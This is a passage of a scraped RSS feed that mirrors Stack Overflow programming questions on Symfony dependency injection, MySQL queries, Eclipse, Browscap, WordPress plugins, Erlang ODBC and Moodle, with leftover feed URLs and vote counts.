If anyone can please suggest me a way to work around this security feature or suggest another browser which allows this(I have tried IE too and it doesnt work there as well).
Since the php project is being launch via my xampp control of apache its redirected under localhost is there any way to work with this functionality.
PLease Help.

Originally asked by: Vikram Nair on Stack Overflow

0 Vote(s) ]]> http://www.globberstack.com/Questions/constructor-injection-when-extending-a-class-1/ http://www.globberstack.com/Questions/constructor-injection-when-extending-a-class-1/ Tue, 07 Feb 2012 09:20:47 -0500 topdog Questions http://www.globberstack.com/Questions/constructor-injection-when-extending-a-class-1/

This question is not strictly related to Symfony 2, but as I use Symfony 2 components and will later likely use a Symfony\Component\DependencyInjection\Container as DI-Container, it might be relevant.

I am currently building a small library using components from Symfony 2, e.g. HttpFoundation, Validator, Yaml. My Domain Services are all extending a basic AbstractService providing nothing but Doctrine\ORM\EntityManager and Symfony\Component\Validator\Validator via Constructor-Injection like this:

abstract class AbstractService
{
    protected $em;

    protected $validator;

    /**
     * @param Doctrine\ORM\EntityManager $em
     * @param Symfony\Component\Validator\Validator $validator
     */
    public function __construct(EntityManager $em, Validator $validator)
    {
        $this->em = $em;
        $this->validator = $validator;
    }
}

A Service-class extending this AbstractService may now need to inject additonal components, like Symfony\Component\HttpFoundation\Session. As of I do it like this:

class MyService extends AbstractService
{
    /**
     * @var Symfony\Component\HttpFoundation\Session
     */
    protected $session;

    /**
     * @param Symfony\Component\HttpFoundation\Session $session
     * @param Doctrine\ORM\EntityManager $em
     * @param Symfony\Component\Validator\Validator $validator
     */
    public function __construct(Session $session, EntityManager $em, Validator $validator)
    {
        parent::__construct($em, $validator);
        $this->session = $session;
    }
}

Is there a more elegant way to solve this without having to reiterate the parent's constructor arguments, e.g. by using Setter-Injection for Session instead?

As I see it, when I use Setter-Injection for Session, I have to add checks before accessing it in my methods, whether it is already injected, which I want to avoid. On the other hand I don't want to "repeat" injecting the basic components shared by all services.

Originally asked by: mahok on Stack Overflow

0 Vote(s) ]]> http://www.globberstack.com/Questions/what-will-be-the-simple-mysql-query-for-this-1/ http://www.globberstack.com/Questions/what-will-be-the-simple-mysql-query-for-this-1/ Tue, 07 Feb 2012 09:20:19 -0500 topdog Questions http://www.globberstack.com/Questions/what-will-be-the-simple-mysql-query-for-this-1/

I want to get the customer info where customer id should be 2 and the log_id should be maximum value
i tried below query but it is fetching first record found.

What will be the simple query

mysql> select * from log_customer where customer_id =2 group by customer_id having max(log_id);
+--------+------------+-------------+---------------------+-----------+----------+
| log_id | visitor_id | customer_id | login_at            | logout_at | store_id |
+--------+------------+-------------+---------------------+-----------+----------+
|      2 |         56 |           2 | 2010-02-19 19:34:45 | NULL      |        1 | 
+--------+------------+-------------+---------------------+-----------+----------+
1 row in set (0.00 sec)

mysql> select * from log_customer where customer_id =2 limit 5;
+--------+------------+-------------+---------------------+---------------------+----------+
| log_id | visitor_id | customer_id | login_at            | logout_at           | store_id |
+--------+------------+-------------+---------------------+---------------------+----------+
|      2 |         56 |           2 | 2010-02-19 19:34:45 | NULL                |        1 | 
|      3 |        114 |           2 | 2010-02-23 17:31:55 | NULL                |        1 | 
|     31 |       1854 |           2 | 2010-03-08 18:31:28 | 2010-03-08 18:56:49 |        1 | 
|     32 |       1992 |           2 | 2010-03-09 01:12:43 | NULL                |        1 | 
|     33 |       2304 |           2 | 2010-03-09 14:42:39 | NULL                |        1 | 
+--------+------------+-------------+---------------------+---------------------+----------+

Please do not suggest order by log_id desc I don't want to get in this way

Originally asked by: Click on Stack Overflow

1 Vote(s) ]]> http://www.globberstack.com/Questions/how-to-install-phpeclipse-1/ http://www.globberstack.com/Questions/how-to-install-phpeclipse-1/ Tue, 07 Feb 2012 09:18:46 -0500 topdog Questions http://www.globberstack.com/Questions/how-to-install-phpeclipse-1/

I installed Eclipse 3.7.1 on Windows 7, and followed this guide.

The error that eclipse shows is:

Unable to read repository at
http://update.phpeclipse.com/update/stable/1.2.x. Unable to read
repository at http://update.phpeclipse.com/update/stable/1.2.x.
http://update.phpeclipse.com/update/stable/1.2.x is not a valid
repository location.

Originally asked by: Dejan on Stack Overflow

1 Vote(s) ]]> http://www.globberstack.com/Questions/browscap-in-debianlinux-server-1/ http://www.globberstack.com/Questions/browscap-in-debianlinux-server-1/ Tue, 07 Feb 2012 09:17:44 -0500 topdog Questions http://www.globberstack.com/Questions/browscap-in-debianlinux-server-1/

I manage to run a browcap.php with php_browscap.ini on my local server. The problem is when i run it on the linux server it does not generate the desired out put. for example:

    <?php

    $bc = new Browscap('cache');
    // Gets information about the current browser's user agent
    $current_browser = $bc->getBrowser();
    // Output the result
    echo '<pre>'; // some formatting issues ;)
    print_r($current_browser);
    echo '</pre>';
    ?>

must generate this, if you are using Firefox:

    stdClass Object
(
[browser_name] => Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
[browser_name_regex] => ^mozilla/5\.0 \(.*windows nt 6\.1.*wow64.*rv\:.*\) gecko/.* firefox/9\..*$
[browser_name_pattern] => Mozilla/5.0 (*Windows NT 6.1*WOW64*rv:*) Gecko/* Firefox/9.*
[Parent] => Firefox 9.0
[Platform] => Win7
[Win32] => 
[Win64] => 1
[Browser] => Firefox
[Version] => 9.0
[MajorVer] => 9
[Frames] => 1
[IFrames] => 1
[Tables] => 1
[Cookies] => 1
[JavaScript] => 1
[JavaApplets] => 1
[CssVersion] => 3
[MinorVer] => 0
[Alpha] => 
[Beta] => 
[Win16] => 
[BackgroundSounds] => 
[VBScript] => 
[ActiveXControls] => 
[isBanned] => 
[isMobileDevice] => 
[isSyndicationReader] => 
[Crawler] => 
[AolVersion] => 0
)

I know its not with, the code because it runs flawlessly on my local server. Their might be a problem on the linux server but i don't know what it is.

Originally asked by: tomexsans on Stack Overflow

1 Vote(s) ]]> http://www.globberstack.com/Questions/what-fomian-creator-do-you-use-1/ http://www.globberstack.com/Questions/what-fomian-creator-do-you-use-1/ Tue, 07 Feb 2012 09:17:36 -0500 topdog Questions http://www.globberstack.com/Questions/what-fomian-creator-do-you-use-1/
3 Vote(s) ]]> http://www.globberstack.com/Questions/where-do-i-include-wp-head-in-wordpress-plugins-1/ http://www.globberstack.com/Questions/where-do-i-include-wp-head-in-wordpress-plugins-1/ Tue, 07 Feb 2012 09:17:26 -0500 topdog Questions http://www.globberstack.com/Questions/where-do-i-include-wp-head-in-wordpress-plugins-1/

I have this javascript code that I am including in my plugin using wp_enqueue_script() finction. Some forks told me that i need to add wp_head() for it to work... So where can I add it? Or is there any other solution that I can make this javascript file work in the plugin?
thanks.

code is here.

<?php
/*
Plugin Name: WP Test Plugin.
Plugin URI: http://wplugins.com
Description: A plugin that test javascript.
Author: Ronny Kibet.
Author URI: http://wplugins.com
Version: 1.0
 */

 //globals

 $floating_options = get_option('floating_settings');

 //enable settings.

function popupthis() {
$src = plugins_url('/includes/links.js', __FILE__);
wp_register_script( 'links', $src );
wp_enqueue_script( 'links' );
wp_enqueue_script( 'jquery' );

}
add_action('wp_enqueue_scripts','popupthis');
?>

Originally asked by: Ronny on Stack Overflow

1 Vote(s) ]]> http://www.globberstack.com/Questions/erlang-mysql-source-command-1/ http://www.globberstack.com/Questions/erlang-mysql-source-command-1/ Tue, 07 Feb 2012 09:16:27 -0500 topdog Questions http://www.globberstack.com/Questions/erlang-mysql-source-command-1/

I am using erlang odbc module to connect to mysql and it is working fine for almost all my commands like insert,delete,create,use,drop . But here i need to use the source command to load a file which contain all the commands like create and use database and create some 10 tables... but when i use it like odbc:sql_query(Database_Connection,"source filename") i am getting error and getting disconnected. The file is present in the current directory, i tried giving both the absolute and relative path to the file. PLease do suggest how to use the source command in erlang odbc.

Originally asked by: satya on Stack Overflow

1 Vote(s) ]]> http://www.globberstack.com/Questions/create-advanced-reporting-moodle-1/ http://www.globberstack.com/Questions/create-advanced-reporting-moodle-1/ Tue, 07 Feb 2012 09:16:04 -0500 topdog Questions http://www.globberstack.com/Questions/create-advanced-reporting-moodle-1/

I am really a newbie to Moodle and I have got this advanced functionality to build for a client's Moodle site as quickly as I can. I have been reading a lot about Moodle through its documentation and any other online resources I can found but thought of taking some help from the experts out here too.

I am looking forward to build an advanced reporting feature where different role users have the permissions to view advanced reports (high level, overview level, individual)down their hierarchy.

The report data would be based on organization hierarchy i.e. say a manager can view a department report, within a dept he can select any of the sections, within a section, he can select any area and eventually any individual within that area.

I need to write a separate plugin for this so that future upgrades don't over ride the changes. Can any one give me a starting point as to how to go about this one? Any links, pointers or suggestions would be useful as I am totally new with Moodle right now?

Thanks.

Originally asked by: ivn on Stack Overflow

2 Vote(s) ]]>